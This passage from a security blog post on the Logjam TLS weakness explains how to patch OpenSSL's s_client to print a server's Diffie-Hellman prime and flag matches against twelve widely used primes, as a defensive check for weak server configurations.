<p>As with a number of previous TLS bugs, browsers have applied plasters to the sores to try to mitigate the impact. Although the downgrade attack exploited a weakness in the TLS <em>protocol</em> rather than an implementation flaw, refusing to accept 512-bit DH primes is a quick and effective solution. But taking that strategy all the way up to 1024-bit primes is dangerous in terms of user experience &#8211; users could start complaining that sites are suddenly inaccessible. So the success of client-side &#8220;patching&#8221; will depend on the vendors, the minimum size of DH prime their browser accepts and the user’s update regime.</p>
<h3>Common primes</h3>
<p>Another factor to consider is the prime itself. The Logjam paper noted that servers tend to re-use it &#8211; and, not only that, but the same primes are in circulation across different implementations. The pre-computation work for the cryptanalysis is based on a single DH prime so it&#8217;s in the attacker&#8217;s interest to do the number crunching for primes that are most widely used. A server that uses a common prime is thus more of a target. But what are these common primes? The Logjam paper itself makes explicit reference to two 512-bit primes. A number of larger primes can be found by inspecting the JavaScript behind the <a href="https://weakdh.org/sysadmin.html">server test page</a> on the Logjam site. You can test for a dozen common primes by adding a bit of code to the file <code>apps/s_cb.c</code> before compiling OpenSSL. Since version 1.0.2 the default output includes a line, when appropriate, beginning “Server Temp Key”, e.g.<br />
<a href="http://www.exploresecurity.com/wp-content/uploads/2015/07/server_temp_key.png"><img class="aligncenter size-full wp-image-405" alt="server_temp_key" src="http://www.exploresecurity.com/wp-content/uploads/2015/07/server_temp_key.png" width="387" height="97" /></a><br />
Insert the following lines after the line that outputs the bit length, which is <code>BIO_printf(out, "DH, %d bits\n", EVP_PKEY_bits(key));</code> (line 519 for the current version 1.0.2d):<br />
<code></code></p>
<pre>if (EVP_PKEY_bits(key) &gt; 1024)
   break;
const char *common[12]; // common primes from https://weakdh.org/imperfect-forward-secrecy.pdf, https://weakdh.org/docheck.js
common[0] = "9FDB8B8A004544F0045F1737D0BA2E0B274CDF1A9F588218FB435316A16E374171FD19D8D8F37C39BF863FD60E3E300680A3030C6E4C3757D08F70E6AA871033";
common[1] = "D4BCD52406F69B35994B88DE5DB89682C8157F62D8F33633EE5772F11F05AB22D6B5145B9F241E5ACC31FF090A4BC71148976F76795094E71E7903529F5A824B";
common[2] = "E9E642599D355F37C97FFD3567120B8E25C9CD43E927B3A9670FBEC5D890141922D2C3B3AD2480093799869D1E846AAB49FAB0AD26D2CE6A22219D470BCE7D777D4A21FBE9C270B57F607002F3CEF8393694CF45EE3688C11A8C56AB127A3DAF";
common[3] = "D67DE440CBBBDC1936D693D34AFD0AD50C84D239A45F520BB88174CB98BCE951849F912E639C72FB13B4B4D7177E16D55AC179BA420B2A29FE324A467A635E81FF5901377BEDDCFD33168A461AAD3B72DAE8860078045B07A7DBCA7874087D1510EA9FCC9DDD330507DD62DB88AEAA747DE0F4D6E2BD68B0E7393E0F24218EB3";
common[4] = "BBBC2DCAD84674907C43FCF580E9CFDBD958A3F568B42D4B08EED4EB0FB3504C6C030276E710800C5CCBBAA8922614C5BEECA565A5FDF1D287A2BC049BE6778060E91A92A757E3048F68B076F7D36CC8F29BA5DF81DC2CA725ECE66270CC9A5035D8CECEEF9EA0274A63AB1E58FAFD4988D0F65D146757DA071DF045CFE16B9B";
common[5] = "E6969D3D495BE32C7CF180C3BDD4798E91B7818251BB055E2A2064904A79A770FA15A259CBD523A6A6EF09C43048D5A22F971F3C20129B48000E6EDD061CBC053E371D794E5327DF611EBBBE1BAC9B5C6044CF023D76E05EEA9BAD991B13A63C974E9EF1839EB5DB125136F7262E56A8871538DFD823C6505085E21F0DD5C86B";
common[6] = "C9BBF5F774A8297B0F97CDDA3A3468C7117B6BF799A13D9F1F5DAC487B2241FE95EFB13C2855DFD2F898B3F99188E24EDF326DD68C76CC85537283512D46F1953129C693364D8C71202EABB3EBC85C1DF53907FBD0B7EB490AD0BC99289686800C46AB04BF7CDD9AD425E6FB25592EB6258A0655D75E93B2671746AE349E721B";
common[7] = "CD5C22FAEA0C53C39E602242C088FA0EA31586F472E9B04606AEDFB35F56C4948095F687B388575FA1700DB3D02253025A523AC76E9646F755A12338653AE071CB64F185591C34C6673FAC9B78DC4D71E53F3A5CCA6326F89C5400FBF8272A76367C630E234A905E4E558CDA968A46A136AD3088DD295F934EC36ADB5F69C3F3";
common[8] = "92402435C3A12E44D3730D8E78CADFA78E2F5B51A956BFF4DB8E56523E9695E63E32506CFEB912F2A77D22E71BB54C8680893B82AD1BCF337F7F7796D3FB968181D9BA1F7034ABFB1F97B3104CF3203F663E81990B7E090F6C4C5EE1A0E57EC174D3E84AD9E72E6AC7DA6AEA12DF297C131854FBF21AC4E879C23BBC60B4F753";
common[9] = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF";
common[10] = "D6C094AD57F5374F68D58C7B096872D945CEE1F82664E0594421E1D5E3C8E98BC3F0A6AF8F92F19E3FEF9337B99B9C93A055D55A96E425734005A68ED47040FDF00A55936EBA4B93F64CBA1A004E4513611C9B217438A703A2060C2038D0CFAAFFBBA48FB9DAC4B2450DC58CB0320A0317E2A31B44A02787C657FB0C0CBEC11D";
common[11] = "B10B8F96A080E01DDE92DE5EAE5D54EC52C99FBCFB06A3C69A6A9DCA52D23B616073E28675A23D189838EF1E2EE652C013ECB4AEA906112324975C3CD49B83BFACCBDD7D90C4BD7098488E9C219A73724EFFD6FAE5644738FAA31A4FF55BCCC0A151AF5F0DC8B4BD45BF37DF365C1A65E68CFDA76D4DA708DF1FB2BC2E4A4371";

char *prime;
prime = BN_bn2hex(key-&gt;pkey.dh-&gt;p);
BIO_printf(out, "---&gt; DH prime: %s\n", prime);
int i;
for (i = 0; i &lt; 12; i++) {    if (!strcmp(prime, common[i])) {        BIO_puts(out, "---&gt; Warning - common prime!\n");
       break;
   }
}</pre>
<p>So you should have something like:<br />
<a href="http://www.exploresecurity.com/wp-content/uploads/2015/07/openssl_code.png"><img class="aligncenter size-full wp-image-406" alt="openssl_code" src="http://www.exploresecurity.com/wp-content/uploads/2015/07/openssl_code.png" width="404" height="410" /></a><br />
Now you’ll get output such as:<br />
<a href="http://www.exploresecurity.com/wp-content/uploads/2015/07/common_prime.png"><img class="aligncenter size-full wp-image-407" alt="common_prime" src="http://www.exploresecurity.com/wp-content/uploads/2015/07/common_prime.png" width="375" height="101" /></a><br />
Remember that you may need to employ the <code>-cipher DH</code> parameter to force OpenSSL to use a DH-based cipher suite. If export-grade as well as stronger DH suites are supported then you&#8217;ll also have to use something like <code>-cipher EXP</code> on a second connection to ensure you test the commonality of both primes.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/a-thick-spread-of-logjam/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
